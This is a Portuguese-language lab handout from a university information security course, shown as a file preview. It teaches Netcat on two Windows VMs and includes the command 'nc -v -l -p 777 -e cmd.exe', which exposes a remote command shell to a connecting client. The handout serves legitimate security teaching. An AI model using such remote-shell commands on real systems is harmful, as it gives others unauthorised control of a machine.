Esta é uma pré-visualização de arquivo. Entre para ver o arquivo original
Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Conexão Reversa com Netcat Informações Iniciais • Para este tutorial devem ser utilizadas duas máquinas virtuais Windows, sendo uma para funcionar como cliente e outra para funcionar como servidor. Passo 1: Baixar Programas Necessários Realize o download do Netcat (netcat111.zip) a partir do ambiente de nossa disciplina no Moodle. Passo 2: Instalar Netcat Descompactar o arquivo netcat111.zip e executar o seguinte comando: C:\> nc -h 1/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Passo 3: Executar Netcat como Servidor Execute o comando abaixo na máquina Windows que servirá como servidor. Este irá permitir ao Netcat “ouvir” a porta 777. C:\> nc -v -l -p 777 Passo 4: Executar o Netcat como Cliente Realize a instalação do Netcat em outra máquina Windows (cliente) e, então, execute o comando abaixo, considerando as devidas adaptações: C:\>nc -v <IP DO SERVIDOR> 777 Logo após, um resultado semelhante àquele apresentado pela figura abaixo será exibido na tela da máquina cliente: Na máquina servidora, por sua vez, será exibido um resultado equivalente ao apresentado a seguir: 2/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Passo 5: Executar um Comando com Conexão Reversa Na máquina servidora, realize um Ctrl+C e encerre a conexão estabelecida no passo anterior. Logo após, coloque o servidor para funcionar novamente através do comando abaixo: C:\>nc -v -l -p 777 -e cmd.exe 3/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Em seguida, digite, na máquina cliente, o comando abaixo a fim de se estabelecer uma conexão reversa e executar um comando no servidor: C:\>nc -v <IP DO SERVIDOR> 777 Tendo digitado o comando acima, uma tela semelhante àquela abaixo será exibida no cliente: Isso feito, o shell exibido na máquina cliente será, na verdade, pertencente à máquina servidora e, portanto, todos os comando digitados nele serão executados no servidor. Por fim, no servidor, será exibida uma tela semelhante àquela trazida a seguir: 4/4